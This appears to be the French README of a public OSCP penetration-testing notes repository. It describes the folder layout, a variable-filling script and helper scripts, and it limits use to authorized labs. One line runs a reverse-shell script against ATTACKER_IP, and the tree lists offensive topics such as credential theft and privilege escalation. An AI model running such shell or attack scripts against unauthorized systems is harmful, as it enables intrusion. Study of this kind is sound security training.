
Coffre de notes OSCP + tableau de bord de cockpit d'examen : notes de techniques fusionnées, jeux de commandes préremplies avec variables, machines, identifiants et runbook pour le jour de l'examen. MIT.
Tags : #ligolo #hashcat

Carnet de méthodologie de pentest indexé par port : arbres de décision, modèles de commandes à copier-coller et leçons tirées de machines d'entraînement autorisées (HTB / PG / labs personnels). Fusionné depuis l'ancien finalnotes-vault dans cette arborescence unique.
Un workflow que vous pouvez exécuter sous pression temporelle. Commandes et arbres de décision en premier.
Notes d'étude publiques pour l'entraînement autorisé uniquement (vos labs, HTB/PG, cours que vous possédez). Aucune clé d'examen, aucun dump d'engagement réel, aucun dump de contenu de cours OffSec.
Dépôt : https://gitlab.com/WattoCyber/oscp-notes-2026
Jeu de cartes d'examen (HTML) : https://oscp-notes-2026-76134f.gitlab.io
| Quoi | Notes de terrain de style OSCP : arbres de décision, modèles de commandes, fiches de techniques. |
| Pour qui | Candidats OSCP et opérateurs de lab qui veulent un workflow exécutable sous pression temporelle. |
| Ce que ce n'est pas | Pas un dump de payloads, pas de clés d'examen, pas de contenu de cours OffSec, et pas un substitut aux supports officiels. |
| Taille | Plus de 512 notes markdown dans un ordre d'engagement numéroté. |
git clone https://gitlab.com/WattoCyber/oscp-notes-2026.git
cd oscp-notes-2026
# optional: bind placeholders to your lab IPs
# edit 00-Start-Here/Variables.md
python fill-variables.py apply
python fill-variables.py status
python fill-variables.py reset # restore placeholders
Signal de succès : python fill-variables.py status affiche Status: PLACEHOLDERS (avant l'application) ou Status: FILLED (après l'application avec de vraies IP dans Variables.md). Ouvrez Home.md ou Find.md (chaque note, cliquable dans GitLab). Les wikilinks fonctionnent toujours dans Obsidian. Actualisez le catalogue avec python3 scripts/build-find.py.
Nécessite uniquement Python 3 (stdlib). Pas de pip install.
Scripts d'examen/labo (bash d'abord, tableaux dans scripts/data/) :
ls scripts/
bash scripts/recon/host-scan.sh TARGET
python3 scripts/recon/nmap-next.py scans/TARGET/svc.xml
bash scripts/shells/rev.sh ATTACKER_IP 443 linux
Find.md Generated catalog of every note (GitLab links)
00-Start-Here/ INDEX.md + Quick-Start, Methodology, Variables, Im-Stuck
Exam/ Cheatsheets/ Charts/
01-Enumeration/ Enumeration-Index.md at root
Automated-Scanners/ Network-Protocols/ Web-Applications/
02-Web-Attacks/ Web-Index.md, Web-Methodology.md at root
Recon/ Injection/ File-Attacks/ HTTP-Techniques/ CMS/
03-Active-Directory/ AD-Index.md, First-User-Playbook.md at root
Enum/ Kerberos/ Credential-Theft/ ACL-Abuse/ ADCS/
Lateral/ Persistence/ CVE-One-Shots/
04-Linux-PrivEsc/ Linux-Index.md + walkthrough at root
CVE-One-Shots/ Filesystem/ Hijacking/ Scheduled-and-Services/
Persistence/ Tools/
05-Windows-PrivEsc/ Windows-Index.md + 3 topic indexes at root
Checklists/ Local-Techniques/ Persistence/ Service-Abuse/
Token-Manipulation/ Tools/
06-Pivoting/ Pivoting-Index.md at root + Tools/
07-File-Transfers/ File-Transfers.md at root + Methods/
08-Shells/ Reverse-Shells.md, Msfvenom.md at root
Shells/ Web/
09-Password-Attacks/ Brute-Forcing-Guide.md at root
Cracking/ Spraying/ Wordlists/
10-Reporting/ Report-Template.md at root + Exam/
11-Tools/ Tools-Index.md at root
Payload/ Recon/ Network/ Code/ CVE/ Custom/
scripts/ exam/lab helpers (data/*.tsv + bash; python for parsers)
fill-variables.py placeholder IP binder
_attachments/ images
Dans le périmètre
Hors périmètre (délibérément)
Vérifiez les règles d'examen en vigueur sur le guide d'examen d'OffSec. Les tableaux de notation ici sont des aides à l'étude et peuvent devenir obsolètes.
Espaces réservés utilisés dans les notes : ATTACKER_IP, TARGET_IP, DC_IP, MS01_IP, MS02_IP, STANDALONE1..3, INTERNAL_IP, INTERNAL_NET, DOMAIN.
python3 fill-variables.py apply # write your IPs into every .md
python3 fill-variables.py reset # restore tokens (uses .variables-backup.json)
Ne committez pas les IP appliquées. Gardez Variables.md avec des placeholders dans git.
Samson Laird (SamsonCyber / WattoCyber). Développé en travaillant sur des labs de style OSCP.
L'ancien dépôt autonome finalnotes-vault est archivé. Cette arborescence est la copie active.
MIT pour la structure originale, les scripts et la prose originale. Les connaissances techniques relèvent du savoir-faire public en sécurité. Les noms de machines font référence à des machines HTB/PG publiques ; respectez les règles de chaque plateforme.